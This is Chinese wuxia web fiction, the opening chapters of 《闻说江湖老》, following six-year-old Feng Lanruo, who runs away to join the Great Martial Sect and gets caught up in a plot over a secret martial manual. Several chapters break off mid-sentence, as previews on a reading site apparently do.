《闻说江湖老》 1. 一个貌不惊人的小引子 《闻说江湖老》全本免费阅读 戚无言常常望着头顶仅有的那缕阳光,回忆当年。 当年,她也遇到过一个让她一生难忘的意中人。 当年,天下未定,多少人想试试身手,去做个英雄,争一争这江山。却苦了,那些寻常百姓,那些彼时她一直想护住,想叫他们好好过日子的普通人。 恰在那时,沈开颐来了。他眸若星辰,面若朗星,一开口,那气场似能威慑万水千山,却对她存了那么多的温柔。他迎着阳光,对她说,“天下人苦战久已,沈某不才,自小立志以天下为己任,助万民安居乐业。沈某知道,戚姑娘也是这样的人。所以,我希望姑娘可以与沈某一起,为天下人做一点事情。” 那一日,她在沈开颐的脸上看见了太阳。她答应了。那会儿,作为武林盟主之女,为了消解武林纷争,为天下博一份永久的太平,他听从沈开颐的建议,抑制下心中的不忍,用一碗烟消云散汤,废去了天下武林人的武功,收天下武林秘籍,助沈开颐登上皇位。 后来,她又与同道中人一起,潜心钻研各门各派武功,取其精华,终于编出一套全新的武功章程,以此开创大武宗,重育武林人才。 后来啊,那些与沈开颐并肩作战的场景在她心头不自觉地涌上了千遍百遍,她便顺势回忆了千遍万遍。每次想累了,不愿再继续想时,她总会再自个儿与自个儿说一句:这一生再没有比那时更好的光景了。 突然间,漆黑的小室外多了几声嘶哑的咳嗽声。十六年了,她居然又听到了人的声音。过了一会儿,一个步履蹒跚的老人拄着拐杖,艰难的挪进了这间小室。许是看见了那缕仅有的阳光,许是看到了?光下面色苍白的戚无言,他停住了脚步,远远的,站在阴影里。 戚无言也愣住了,远远的看着那暮气沉沉的老者,不说话。 “戚姑娘……”那老者艰难的叫了一声。 “你是什么人,如何闯进这里的?” “戚姑娘,你不认识我了嘛?我是沈开颐啊!是啊,岁月无情,我已经老得不成样子了……难怪你认不出来了……” “沈开颐……沈开颐……”她径自叫着那个被她在心里默默叫了十六年的名字,呆呆的望着阴影里那个正在咳嗽的老者,半晌,终于淡淡地问了一句,“你来干什么?” “我这身子,怕是熬不了几天了,就想来看看你……想记住你的样子,下辈子若能再相遇,我便做牛马来报答你。” 戚无言听了,险些就要落泪。她依旧望着他,不说话。 “戚姑娘,我就要入土了,你可否再满足我一个心愿?‘皇帝不需要练就绝世武功,但他须得有本事,叫 2. 闯江湖计划 《闻说江湖老》全本免费阅读 现在是大冲六年,皇帝叫沈治平,是沈开颐的儿子。不过对很多人来说,这些并不重要。 就比如小姑娘冯兰若,她这年正好六岁,与她差不多大的小朋友正在街上玩着躲猫猫,冯兰若却坐在一棵大杨树下,思考着一个很深奥很深奥的问题——结亲是什么。 结亲是什么呢?她第一次思考这扑朔迷离的问题,总有些摸不着头脑。好在她有几分灵气,很快就找到了突破口:爸爸妈妈不就结亲了吗?可是,自冯兰若记事起,爸爸妈妈就总是吵架。若是吵得凶了,妈妈还会打哥哥,会骂她,而爸爸会喝好多好多酒,冯兰若觉得,爸爸妈妈结婚很不开心,连带着做他们的孩子也常常不开心。 不过好多人都说隔壁小橘妹妹的爸爸妈妈结婚后妇唱夫随,相敬如宾,可是,一墙之隔的冯兰若晚上却总能听到小橘妈妈伤心的哭声,冯兰若暗暗猜想,小橘妈妈结婚后一定也不快乐吧? 还有爷爷奶奶,两人坐在一起时总是不说话,怪没意思的,还有姥姥姥爷……还有婶婶叔叔……还有……直想至日落西山,想至妈妈扯着嗓门喊她回家吃饭,她终于满意的得出一个结论——结婚是一件让人不快乐的事情。可是……自己却要订亲了! 爸爸妈妈为了攒够过几年哥哥结婚用的钱,要把自己许配给城东开客栈的黄家作儿媳妇,而黄家的那位小公子,是一个整日淌着黄鼻涕在街上乱跑乱叫,遇到事情只会哭着找妈妈的讨厌鬼。她好好一个姑娘,怎么能与那样的人在一起生活一辈子呢?何况,结婚又是一件令人不快乐的事情。 可叫她为难的是,任她前几日一哭二闹三上吊,用尽力她的一切办法反抗,爸爸妈妈仍是不答应。她该怎么办呢? 与冯兰若家相隔二里有座小庙,年久失修,早已看不出供奉的是何方神圣,却因着有几片破壁残瓦,也能供路人避一避风雨。后来啊,一个翻着眼白的瞎老汉来这里住下,一住,竟住了两年之久。 他行事古怪,平日里到有钱人家做做苦力,挣几个钱便把它们换作了酒,或者他不出去挣钱,也一定会去买酒。除此之外,从不与镇上人交流。 镇上人自然也不去同他交流,大概只把他看作一个老乞丐,事不关己,便任他来去死生。最多,便是告诫自家孩子一句,“没事千万不要去庙里玩,那里有个瞎眼老头,很坏的。” 冯兰若不算个听话的孩子,一年前因缘际会见到那老汉,觉得他虽然双目失明,外表邋遢,惹人嫌弃,身上却有一种说不清的气场,让她觉得与这人待在一起格外快活。 于是,见他的第一面,她就莫名其妙的问了一句,“爷爷,你是不是有好多好多故事可以给我讲?” 想不到,那老汉听过后放声大笑,良久,方与冯兰若说道,“好得很,好得很,原来我到老来什么也没有了,却还剩了一肚子故事,你要是想听,我都讲给你。” 冯兰若最好听故事,纵她生在一个偏远的小城,老一辈口口相传,倒也留下不少朗朗上口的民间故事。不过这老汉的故事却都是冯兰若闻所未闻的。他常常不假思索,信手拈来,讲到的,都是昔日江湖上英雄好汉的故事。什么善使双枪,怒杀恶霸的英雄张甲,什么把无影飞刀使得出神入化,却代代行善积德的殷家人,什么为报不杀之恩,放下屠刀一心向善的魔头祖苍,什么……每一个人,都有一段段行侠仗义的传奇故事,而这些人凑在一起,就成了一整个江湖。 得幸于这老汉的故事,未经世事的冯兰若,自小心中就种下了一枚充满侠义道的种子,对她来说,这枚种子,叫江湖。 此时夜半三更,冯兰若被院子里的狗叫声惊醒,想到的,却不是她的江湖,而是前几日她与庙里那老汉的一番对话。 “爷爷,这些故事里的人,他们后来都怎么样了啊?” “娃娃,你还小,没必要着急知道结局。” “那后来江湖如何了,我也想拜师学艺,学成之后去闯荡江湖,做个很厉害的大侠。” “哪有那么好闯的江湖,不过现如今能让你学点武功的地方,也就只有大武宗了。” “大武宗?” “不错,天下武学,和而不同,方能百花齐放。和而趋同,也未尝不是天下之幸。这大武宗,就是让天下武林和而趋同的关键。” “爷爷,这些我听不明白。” “是啊,这话是有些晦涩了。不过呀,你只需记得,大武宗,是如今大炎朝唯一一个教授武学的地方,也是当今唯一一个连普通人家的男孩女孩都能得到公平竞争机会的地方。在那里,大家一起学武,只要你武功足够高,就可以入朝为官,甚至于裂土封侯……” “不分家事,不分男女,武功够高,就可以入朝为官,裂土封侯……”冯兰若想到此处,在心里默念着这话,突然想到,“如果去大武宗学武,连裂土封侯都能做到的话,那肯定也能做到当一名大侠。对呀!我可以离家出走,去大武宗拜师学艺。” 小姑娘冯兰若想要离家出走,去大武宗拜师学武。这馊主意是她半夜三更,被院里的狗叫吵醒时想到的。 偏生她听故事太多,又有些早慧,在院里的狗叫十声的功夫,就想好了她全部的逃跑计划:前门有狗,她需趁着家人熟睡跑到后院翻墙——翻墙她是在行的,庙里那个老汉指导过她。翻出家后,她得连夜跑到城门边,以便于城门一开就出城,省的被爸妈发现。之后,她趁天亮跟着人群走大道到东边的大城市祁城,在那里,搭一个去长安做生意的商队,跟着他们一路到长安去,最后加入大武宗。 冯兰若的计划还算是有效,毕竟,这会儿的她已经搭到了商队,正喜滋滋的坐在商队的骆驼上,吃着糖葫芦。在骆驼边赶路的是商队里一个叫陈二的年轻小伙子,想是一路无聊,他便逗起了这位半路找上门来的小女孩。 “小姑娘,今年几岁啦?” “六岁。”冯兰若嚼着糖葫芦,含含糊糊的说了一句。 “那你家可是在祁城?” “不是的,我家在祁城西边的平崛县。” “你说你这么小,干嘛要一个人离开家呢?你不知道,这一路坏人多着呢!” 冯兰若听了,赶紧咽下这口糖葫芦,一本正经的说,“我要去长安城找大武宗,我得去那里学武功,这样将来才能当一名大侠!不管有什么危险,我都要去的。大侠是不能怕危险的!” 那陈二听了这话,又见她认真的神情,觉得有几分可笑,却怕伤着这孩子,径自把笑声憋了回去。待要想再与冯兰若说些什么,却又听到这小姑娘轻轻的说了一句,“更何况,庙里的爷爷和我说过,江湖上,好人终比恶人多……” 陈二没再说话,静静陷入沉思。这冯兰若到底只是个孩子,心中,尚有一个美好 3. 江湖还真有点危险 《闻说江湖老》全本免费阅读 胡叔在安排事情。 冯兰若一个人坐在镖局门口的台阶上,拖着腮,看着天上的云。正巧,屋里有几个小伙计正聊着天。 “入蜀的这单生意胡大哥谈了半个多月才谈妥,怎么这样突然就让给别人了啊?” “咱们胡大哥古道热肠,不是刚刚答应了要帮他同乡送一个小娃娃嘛?又不好耽误了入蜀的镖期,失了咱们镖局的信誉,这不得已,就把镖给谭大哥做了。” “胡大哥真是糊涂,何苦放着大把的银子不赚,揽下这件麻烦事?” “我可不这样想,受人之托,忠人之事,跟着胡大哥这样的人做事,才叫我放心……” 冯兰若原本是在想陈二那番话的,她隐隐觉得陈二的话与自己街坊邻居的话有几分相似,他们努力生活,却恪守本分,把一切的功业难成都推卸给命数,甚至从未奢求。于是她悄悄在心里告诉自己:这不是全对的,冯兰若你不要相信,盲爷爷的故事里有好多大侠都出身草莽,我也可以像他们的那样的。 后来她听了伙计们的对话,又一转念头,想到:陈二哥哥与仅我一面之缘,却为我做了这么多;胡叔顾念同乡之情,肯舍弃赚钱的机会来送我回家,他们两个都是很好很好的人啊,我怎能辜负他们的情义?可是我偏偏只想去大武宗…… 想到这儿,她萌生了拜别胡叔,独自前往长安大武宗的念头,刚要起身回屋,却又想到:万一我说过之后胡叔坚持送我回家,亦或是他要不辞劳苦的送我到京城,这都不是我想要的,毕竟盲爷爷告诉我,行走江湖,各人有各人的难处,我怎能为自己的意愿平白为他人添麻烦? 想到这一层,她终于下定了决心,从台阶上站起身来,面向胡记镖局,像方才拜谢陈二那般,恭恭敬敬的弯腰作揖,低声说道,“冯兰若谢过胡叔,来日方长,我们就此别过。” 冯兰若方向感不错,在她的意识里,一路向东,一定能到长安去。这一番再度启程,她已是下定了决心,不管遇见什么危险,就算是一路乞讨,她也要讨到长安去。 “小姑娘,请问,这吴州大武宗该怎么走?”冯兰若正自顾自的走着,忽然碰上两个壮汉,一个壮汉向她问到。 “不是,不是,我兄弟其实是想问:这吴州大武宗对面的吉同客栈怎么走?”另一个壮汉听到同伴的发问,赶紧使个眼神,纠正到。 冯兰若本想脱口而出一声“不知道”,但一看这俩人的问法不一,神色也有些奇怪,不禁一怔,随即心中闪过一个想法:这两人好生奇怪,莫不是什么人贩子之类的?我可千万不能让他看出我是个形单影只的外乡人,不小心被他们给拐了去。 于是,她计上心来,装作极有底气的信口胡诌道,“从这边往南走两条街,再向西走,看到一家药材铺后左拐到另一条街,再稍稍一走就看到吉同客栈了。嗯……我哥哥就在旁边的大武宗学武,我常常去的。” “好嘞,多谢。” 冯兰若眼看那俩大汉竟不假思索的按照她乱指的道走了,一时有些得意,却又怕他们发现不对后来寻仇,当即加紧了脚步的赶路。偏这吴州城是座极大的城市,冯兰若中午从胡记镖局那里动身出发,走了三个时辰,仍然没有走出城去。 那会子正值暮色降临之际,城里的大街小巷里,家家户户的烟囱上都冒起了袅袅炊烟,各个角落似乎都弥漫了饭菜的香气。冯兰若自然闻到了,走了那么就的路,闻了那么久饭香,她的肚子早已咕咕叫起来了。她走在街头,看着那炊烟里的夕阳,忽然之间,耳边就响起了妈妈傍晚做好晚饭时唤她回家的吆喝声,她想家了。 想家了,便是有了心事,有了心事,步子也就不知不觉的放缓了。不由自主的,她就留意起街边的景物来,而此刻她身边的,正巧就是一个红墙黑瓦的气派建筑,建筑上挂着一块牌匾,赫然写着“大武宗”——吴州大武宗。 她虽不认识几个字,可大武宗三字却是认识的。看到这儿,冯兰若不由自主全身一震,恍惚间以为自己到了大武宗,又瞬间想起这不过是吴州,这里大概只是大武宗在吴州的一个分部吧。紧接着,她就认出了身边的客栈,那一定是吉同客栈。那客栈修的极有排场,后院住人,前院吃酒,酒桌上,坐在全是衣着体面的贵客。偏那掌柜的行善积德,那客栈不起眼的一角正虎视眈眈的蜷缩着不少乞丐,正在或者准备蚕食这店里的残羹剩菜。 看到这,冯兰若心里闪过一个念头——她此刻身无分文,若是混在这些乞丐里,大概也能勉勉强强填一填肚子吧。 可是,在混饭之前,她想去先衣着体面些的去看看对面的大武宗,至少先看看大武宗大致的样子。 其实大武宗闲杂人等是进不得的,冯兰若孩子心性,从正门碰了壁后,跑到后门翻了墙,还跳了窗,此刻,正躲在吴州大武宗的一间还算大的屋子里。待那看后门的护卫因着以为自己刚刚看错了而怏怏而归时,屋外却又传来了几个人的脚步声,她怕被抓住,随即又是一个激灵,躲到了里屋屏风边的大窗帘后面。 “娘的!路上不知道从哪里冒出来的熊孩子,骗老子多走出十几里地去……” “我叫你不要信那孩子,你偏不听,还说什么孩子不会撒谎,这下好了,都被骗了吧……” 窗帘后冯兰若听了身子一颤,暗叫倒霉,这莫不是方才她骗的那两个大汉? “二位兄弟且不要生气,你二人既为大人身边亲信,此番到吴州定是有要紧事吧?”又一个声音响起。 “那是自然。”其中一个大汉压低声音,说,“我们是来传令的,上面有吩咐,公主出嫁,咱们要……” 冯兰若听不太明白,但她的小脸上,眉毛已经皱起来。 随后,她隐隐约约看见另一个大汉拿出一块形状奇怪的小令牌,用更低的声音说:“还有件更重要的事情,不能让任何人知道,公主的陪嫁里有一件正红色喜服……” 冯兰若在后面听不太真切,但仍努力去记清楚他们说过的话,心怦怦直跳。 偏在那时,有风刮过,窗帘被吹起,暮光映出了屏风后面冯兰若的影子。 “谁在那里?”其中一人大喝。 冯兰若一惊,自知已被发现,凭借庙里盲爷爷教的翻墙功夫,立刻跳出窗去。她来到院里,只见这间院子大门紧闭,倒也未乱阵脚,当机立断,跑到墙边就要翻墙。 “是你这小混蛋!”屋中三人此时已经追出来,其中一个大汉大喊一句,拔腿冲到冯兰若身前,就要抓她。 那大汉是个练家子,腿上功夫极好,转眼之间已到冯兰若跟前。冯兰若从未见过这样的场面,但身临绝境,人自有一番求生本能。她年纪虽小,可翻墙本领已被盲爷爷教导的炉火纯青,遇此局面,想也不想,立刻跳上墙去。 那大汉没料到一个小娃娃可以身手如此敏捷,微微一愣,之后也赶紧跟着翻墙 4. 耶!遇到大侠了! 《闻说江湖老》全本免费阅读 “巧杏我自小被拐到那丞相府,一十八年受尽欺辱,今闻得有刑部侯大人铁面无私不畏强权,特写下了血书,把丞相的滔天罪行,向他诉……” 到酒楼时天已经黑了,楼里有人唱戏,冯兰若只管低着头,大口吃牛肉。 对面那个黑衣青年为了等她,倒了好几杯酒,直倒的酒壶见底。 “肉可好吃?”青年问。 “好吃。”冯兰若答的含含糊糊。 “你刚才听到了什么?”他又问。 “我不能说。”冯兰若说。 “为什么不能说?” “因为有秘密的人,把秘密说出来了,就该被杀死了。”冯兰若正色。 “小小年纪,是谁跟你说的这些?”那青年瞪大了眼睛。 冯兰若又仔细回忆了一下之前听过的故事,道,“盲爷爷讲给我的。” “管他什么盲爷爷聋爷爷,我鸣笳立的正行的端,闯荡江湖两年七个月又一十八天,扶弱五十六例,遏强三十一例,杀恶霸三人,从未错杀、滥杀一人。” 他说到得意处,拿起酒壶就往嘴里灌酒,酒壶里竟一滴酒也滴不出来,他硬晃了几下酒壶,见着实没酒,又躁躁地放下,说,“这下你可放心了?” “你是个大侠。”冯兰若认真的看着鸣笳。 “对。”鸣笳托长音应和,筷子一扬,夹走了盘子里最后一块肉。 “我也想做个大侠,能周游江湖,不畏权贵,惩恶扬善的那种真大侠。”冯兰若说。 “大善!这世上,这样的大侠不多,想当这样大侠的人也不多了。刚好,我便是这样的大侠。”鸣笳得意,大喊,“小二,好酒好肉,再摆上一桌。人生难得遇知己,必当畅饮!” 冯兰若眼睛圆圆的看着他,只是说:“你没钱了,方才你抓我过来,我摸到了你腰间的钱袋,就知你只有方才付酒钱的那一吊钱了。” 鸣笳虽被她的话说愣了一下,倒也不在乎,翻遍了全身,只有随身带的佩刀上有个镀银的关公坠子尚值点钱,他解下坠子,往桌上一拍,豪横道,“钱算得了什么,钱没了可以再挣,兴致没了,再找可就难了。” “再者,小娃娃你要记住,江湖大侠,就是穷途末路,也得有大口喝酒,大口吃肉的豪情。” 新酒新肉转眼便端上桌案,冯兰若被鸣笳激的热血沸腾,拿着筷子,仿佛在拿剑。 鸣笳看着架势,笑了,道,“你若真想学武功,不如拜我为师?我鸣笳不说打遍天下无敌手,至少也曾剑挑多罗国老孤山,论功夫啊,自问也算得上是一流高手。” “我不要,我要去大武宗学武。”冯兰若自小执着,若当真认定了什么事,便很难再改了。 “大武宗?就是那武学正统大武宗?你会后悔的。”鸣笳声音低了几分,又对着酒壶嘴自饮一口,借着月色,有几分伤神道,“大武宗为的是培养给朝廷卖命的人,不是培养大侠的。纵它自设立起也出了不少忠臣良将,但是人活一世,未必都是奔着做忠臣良将去的。” “我的武功也是自大武宗练出来的,我练的好,按着那里的规矩,春擂过后,我必能封官。可是,我不爱规矩,不想做官,就爱武功,爱江湖。我问师傅这该如何,他倒是看的开,跟我说,人生一世,肆意也好。于是,我在春擂开始的前一天,就出来闯荡江湖了。” “我师傅是个好人,我走时他去送我,还对我说,若是闯的不开心,随时回去找他。他给我留着后路呢。虽然我不会回去的,但是,师傅倒是我在大武宗唯一的惦念了……” 冯兰若静静的听着,听不太明白,但她觉得,这个人讲故事和盲爷爷讲故事的感觉不一样。 故事里的人和故事外的人讲出来的故事自然是不一样的。 何况,鸣笳独身闯荡江湖,从未想过给人讲什么故事,他只是不知道为什么,今夜突然很想说,不知不觉就把这些年憋在心里的话都说给了一个听不懂的孩子。他还想说,说在大武宗时的愁,说闯荡江湖的难,却突然觉得这些愁绪说的让他心悸,便强行转移了话题, “不过如今倒是有个好事,即使你不说,我也知道,长宁公主到塞西国和亲,竟把这些年从未出现过的武林绝学《通天秘籍》带了出来,凭我鸣笳的武功,趁着这公主在吴州歇脚的好时机,把那《通天秘籍》偷出来抄录一本……” “你不要去,不要拿《通天秘籍》!”冯兰若突然大声喊出来,惹得身边人也频频侧目。 “为什么?”鸣笳也有点吃惊。 “因为……” 5. 收获一群老迷弟 《闻说江湖老》全本免费阅读 “堂堂丞相为了掩盖罪行,竟把那巧杏姑娘,杀人灭口……来人,速将丞相带至公堂,本官今日要明教化,正法度!” 酒楼里比过一场武,戏未停下。冯兰若呆呆的趴在窗台,看着鸣笳与吴方转瞬之间便消失不见,脑袋里乱哄哄的。 索性便等他回来吧。 她还有好多事情想问他呢。 她想问鸣笳,为什么到了大武宗会后悔? 她还想问,为什么鸣笳不喜欢大武宗,却还要和吴方拼命,去保护大武宗? 等这些都问过了,她还要问问鸣笳的师傅是谁,她一路远去大武宗,无亲无故,如若鸣笳能把师傅介绍给自己,会让她安心许多。 不急,等他回来吧。 日升月落,冯兰若趴在小酒馆,等到黎明。 酒楼下,人突然就多了起来。 “不得了啦,郊外的十里白杨树林一夜之间全烧焦啦!树林里头,还有两具烧焦的骸骨呢!”不知是谁叫嚷了这么一句。 “听说昨夜有两个江湖人在郊外比武,莫不是他二人吧?”又不知是谁猜测了一句。 “走,看看去!” 话还没说完,一堆人赶集似的吵吵嚷嚷的往郊外跑去。 恰在此时,又不知谁大声叫起来:“快去东门,公主的车队来啦!快去东门,公主的车队来啦!” “公主来啦!” “公主来啦!” 短短一瞬,声音一传十,十传百,整条街的人都知道了这个消息。 整条街的人都兴奋起来。 大家不约而同的调转方向,兴致勃勃的往东门方向跑去。 短短一瞬,城郊那两个江湖人就没人记得了。 待人流渐渐从这条街散去,冯兰若跳下小酒馆的窗台,来到大街上。 往东走,是公主车辇,是万民朝拜之地。 往南走,是十里枯杨,是她刚刚结交的江湖朋友的殒命之地。 她思量片刻,转而头也不回的往南跑去。 而南郊的景象却出乎冯兰若的意料。 昨夜烧焦的土地上,此时站满了人。 一大队形形色色的江湖好汉围在吴方尸骨的身后,嘴里喊着些什么,一个个摩拳擦掌,气势汹汹。 而他们对面,鸣笳的残骸身前,正站着一个白衣飘飘的年轻人。年轻人人冲对面的江湖好汉抱拳作揖,气势肃杀,颇有一夫当关万夫莫开的架势。 冯兰若年幼无畏,竟被两方人马给吸引了过去。她跑到他们中间,问了一句:“这可是传说中的武林大会?” “哪里来的小娃娃?快让开些,仔细伤了你!”一个赤眉秃顶的老翁喝了一句。 “哈哈哈哈哈哈哈,吴兄别急。我倒觉得这小娃娃说话有趣的很呢!二十多年了,寻常孩童,谁还知道什么叫武林大会?可她就知道!”一个左臂刻着黑熊纹身的汉子道,“小娃娃,你可是哪个江湖好汉的后人?” 冯兰若不惧那老者,也不答那汉子,她只是盯着他们看了几秒,之后胸有成竹的开口:“这位赤眉老爷爷,你莫不是常山派右护法吴正?” 老人一怔:“我二十年未出江湖,你这小娃娃竟还识我?” 冯兰若道:“盲爷爷说常山派武功直如刀,烈似火,能练成此武功者,赤眉赤目。因而我猜你是常山派人士。至于具体身份嘛,盲爷爷说,常山派右护法是个秃子,所以我斗胆,猜您就是常山派右护法吴正。” 冯兰若此话一出,吴正身边的几个好汉神色俱是一凛:秃子吴正,平生最恨旁人叫他秃子,二十年多前,谁敢当面叫他秃子,他必得把跟人玩命打上一架。以至于,小一辈武林人,没人敢叫他秃子。 谁料,时隔二十余年,黄口小儿在他面前喊他秃子,他竟激动的双手颤抖:“小娃娃,你刚才说我什么,快快再说一遍!” 盲爷爷讲吴正的故事时,就一口一个秃子的喊他,因此冯兰若并没有觉得这样有什么不妥,于是她朗声道:“常山派右护法吴正,是个秃子。” “好!很好!”吴正颤声道:“本以为,这世间再没人敢这么叫我了。小娃娃,你很好……” 冯兰若被吴方突如其来的情绪弄得有些摸不着头脑,于是她又向左一步,冲有黑熊纹身的汉子道:“这位大叔,你莫不是恒山派的俗家弟子殷必达?” “有趣,小娃娃你竟也认得我!”殷必达抱着剑笑道。 冯兰若道:“恒山派俗家弟子殷必达,擅使长剑,左臂有黑熊纹身,虽未出家,却是恒山派武功最卓越的弟子。十七岁凭一把剑一人守师门,击退数千沈氏大军的围攻,算得上是少年英雄。从前听故事就佩服殷大侠,今日于江湖得见,实属欣喜。” 冯兰若说着,学着江湖人的样子冲殷必达抱拳。 殷必达听了,反而消沉下去,喃喃道:“那又如何,十八岁那年沈贼使诈,还是把我引走后灭了我恒山派满门……” 冯兰若竟不知有这段故事,她愣了愣,才呆呆问道:“沈贼是谁?” “那必然是当今皇帝,的老子,沈开颐。”后面一个背负双枪的年轻人叫嚣道。 冯兰若注视了那年轻人几秒,试探开口:“大 6. 打起来了! 《闻说江湖老》全本免费阅读 “姑娘,你可要为大家伙儿评评理呀,你说,习武之人,谁不想追求这天底下最卓越的武功?”一个一身横肉的汉子气愤道。 “是该如此。”冯兰若道。 那汉子见冯兰若认可,立刻说道:“姑娘可知,今时今日,天底下最厉害的武功,是什么?” 冯兰若扫过鸣笳和吴方的尸骨,叹道:“可是《通天秘籍》?” “正是。” “姑娘莫叹。”朴阿成之子道:“读书人常说,‘朝闻道,夕死可矣。’于我们习武之人而言,为《通天秘籍》而死,死得其所。” “《通天秘籍》常年藏于深宫,二十多年不见踪影。唯有今日,公主携秘籍出嫁,于吴州歇脚两日,对我们而言,这样的机会千载难逢,我们怎肯错过?” 他刚说到这里,那汉子又气恼道:“可是这不知从哪冒出来的小后生,竟设下奸计把我们全都骗到这里,还扬言,他已经在公主经过的街区和下榻的客栈布满了火药和火油,谁敢接近公主车辇半步,他立刻就着人一把火烧了那《通天秘籍》。” 这法子倒是狠辣。冯兰若暗自评了一句,抬头去看那个小厮。 那小厮得意的冲冯兰若眨眨眼睛,同时向众人温声解释:“实不是有意如此,只是我一早就得到消息,这回公主携《通天秘籍》在吴州歇脚,实际上是朝廷设下的圈套,他们要借此机会将尚未归顺的武林人一网打尽。” “天下人都知道公主携《通天秘籍》出嫁,独你一人说这是阴谋。我们凭什么要信你不信天下人?”那汉子继续质问。 小厮苦笑:“天下人如何知道宫内事?不过是一传十十传百传到你我耳中而已。这是否是空穴来风,是否是以讹传讹,其实天下人根本没有几人能知道。 更何况,语以泄败,事以密成,就以当今朝廷的调性,若公主当真携《通天秘籍》出嫁,他们必定会将此事瞒地密不通风,这样公主一路才会少些危险。可是偏偏,这件事天下人都知道。事出反常必有妖,这道理,诸位不会不懂吧?” “其实我觉得这后生说的有几分道理”殷必达道。 “可是你说的也不过是你自己的猜测,我们凭什么要信你?”又有人站出来反驳。 “不是我的猜测,实际是朝中有大人物得到了消息,又不忍昔日武林豪杰被杀戮殆尽,这才派小生前来劝阻。”小厮一边说着,一边又向冯兰若使眼色。 冯兰若立刻装模作样道:“这个哥哥说的全是真的!老盟主也参透了其中玄机,但他老人家不方便亲自露面,所以才派我来把这事儿告诉大家。” 搬出武林盟主,众人的态度终于有了动摇:“小姑娘,你此话当真?” 冯兰若做发誓手势,朗声道::“我以老盟主的名义起誓,朝廷以《通天秘籍》为诱饵这件事,千真万确。如若此言有虚,我冯兰若一辈子见不到老盟主,一辈子当不了大侠!” 发誓时,冯兰若用尽了力气。鸣笳的尸骨近在眼前,昨晚,要是她早一点告诉鸣笳事情的真相,也许鸣笳就不会丧命。所以今天,她一定要早些把秘密说出来。 她害怕再见到有人为此丧命。 还好,她借用武林盟主这张虎皮,算是有些效果。 常山派的吴正最先开口:“既是老盟主发话,那这《通天秘籍》,我不夺了。” 说罢,他蹲下身去,小心翼翼的整理掌门吴方的骸骨。 “那我也走了……” “那我也走了……” 又有几人准备离开。 恰在这时,忽然有人皱起眉头:“远方是不是有马蹄声?” 这些习武之人大部分都耳力极佳,一经提醒,也都听出了不对:“不好,东西两侧有大批骑兵正在往这边赶,大家快撤!” 众人神色一凛,思量片刻,立刻往南边撤退。 冯兰若被殷必达顺手扛了起来,莫名其妙的跟着大部队往南边移动。 谁承想,跑着跑着,众人突然停下了脚步:南郊的尽头,就是陡峭的悬崖! “你们跑不了了!”一个得意洋洋的声音由远及近传来。 众人顺声音看去,一匹雪白宝马之上,正坐着一个身穿盔甲、威风凛凛的年轻将军。将军南北两侧,数不清的骑兵已经把路堵死。 这位将军,就是吴州参将梅英。 白衣小厮常年在吴州大武宗行走,认得梅英,见他这幅阵仗,嘲讽道:“梅将军也忒胆怯了,我们区区二十余人,怎生要调动上万人来围剿?这传出去当真要天下人笑话!” 梅英也不理他,只是撇了一眼鸣笳的被烧焦的尸骨,然后道:“尔等逆贼,二十年前就应以谋逆叛国之罪正法。我朝宽仁,二十余年不曾追究尔等罪责,然尔等非但不知悔改,还在公主结亲途中聚众叛乱,煽动是非,该当剿灭。” 白衣小厮实在听不下去了,大声打断:“梅英,你哪年入仕的?是不是前些年学武学傻了?” 梅英仍旧不听,举起手中长枪,吼道:“众将听令,全力剿贼!” 顷刻之间,上万名大武宗好手抄武器武器从东、西、北三侧杀了过来。 一众好汉早年都是见惯杀戮之人,见这架势,立刻使出看家武功迎战。 “老子当年一人能抵千军,今日还怕了你们不成?”殷必达骂了一句,随即拔剑冲在了最前头。 梅英在大武宗求学时就听说过恒山派逆贼殷必达剑法高妙,他年轻气盛,见殷必达拔剑,自己立刻冲过去与其一较高下。 谁知道,殷必达刚欲运气出招,却突然变得脸色苍白。 “我的真气呢?”他刚说完,旋即反应过来,“卑鄙小人,你们使诈!” 梅英也有些错愕,显然,他只是奉命前来剿匪,并不知道上面人“思虑周全”,早就偷偷给这里面武功最高的殷必达和吴正下了药。 正护在冯兰若身前的那个小厮发现了此事,他立刻喊道:“殷大侠,莫要担心,我来助你!” “你是哪门哪派?我的剑法需要极其深厚的真气做支持,你可能办得到?” 小厮不答,只是席地而坐,闭目运功,片刻后掌心缓缓抬起,对准殷必达的腰背,将真气源源不断输送至殷必达体内。 殷必达打了一个寒颤,继而神情激动、眼神欣喜:“兄弟,你是……” 小厮仍未睁眼,只是微笑着轻轻摇头。 一切尽在不 7. 困在了上个时代 《闻说江湖老》全本免费阅读 “什么法子?”冯兰若问。 吴方倒是平静,指指正在输送内功的小厮,道:“我没法子,但他一定有法子。” “为什么?” 吴方道:“以此人心机手段,他既然带我们来南郊,就必定会在南郊留下退路。” 冯兰若恍然大悟——多闯了几十年江湖的人,果然比她聪明。 殷必达耳力极好,听到吴正二人的对话,立刻分出神来冲小厮喊到:“兄弟,你且歇会儿,这些小贼,我没有内力也能应付一阵子。” 那小厮原本全神贯注屏息运气,听殷必达这样讲,方缓缓合拢双掌,气收丹田,之后摇头道:“原本是有退路的,现在,只有死路了。” 吴正:“此话怎讲?” 小厮道:“昨晚南郊的一片大火,本是我准备的退路。” 不必再解释,众人已是了然。 吴州气候干燥,小厮早就在南郊树林备下点火之物,届时对方兵马再多,也奈何不了一场大火。可谁知,昨夜鸣笳和吴方在此比武,因内功太强引燃了这些火石火油,不但自己送了命,更把可燃物燃烧一空,绝了他们众人今日的退路。 造化弄人。六岁的冯兰若第一次直观的体会到了这个词的含义。 “那也不对。”吴正道,“你若放火,我们亦会遭殃,届时又该如何?” 小厮指向悬崖,道:“喏,我在那藏了三十只飞虎爪,你们身手都不错,借助这飞虎爪到悬崖深处躲一阵不就行了。” “这悬崖多深?”冯兰若问。 “深不见底”小厮道,“我也觉得放火烧林子有损阴德,用这主意之前也想过别的法子。可是这悬崖,没有万丈,也有千丈,非但陡峭,还寸草不生,活不了的。” “那也不怕。”冯兰若抢着说,“我听的故事里,武林人掉下悬崖,就从来没有摔得死过。大不了我们一闭眼直接跳下去,说不定还能因此得到什么武林秘籍。” “娃娃莫要天真,不是摔下悬崖去死不了人,只是摔死的人进不了故事里。”小厮道。 说到这里,他又想到什么,对冯兰若道:“其实你死不了。那个梅英,是鸣笳的同年。虽然讨厌,但人不坏,你一个小儿,又不在朝廷的捕杀名单上。一会儿等我们都死了,你就抱着鸣笳的尸骨哇哇大哭,梅英问起来,你就说说你是鸣笳的朋友,是不小心被卷进来的,他肯定不会杀你。” 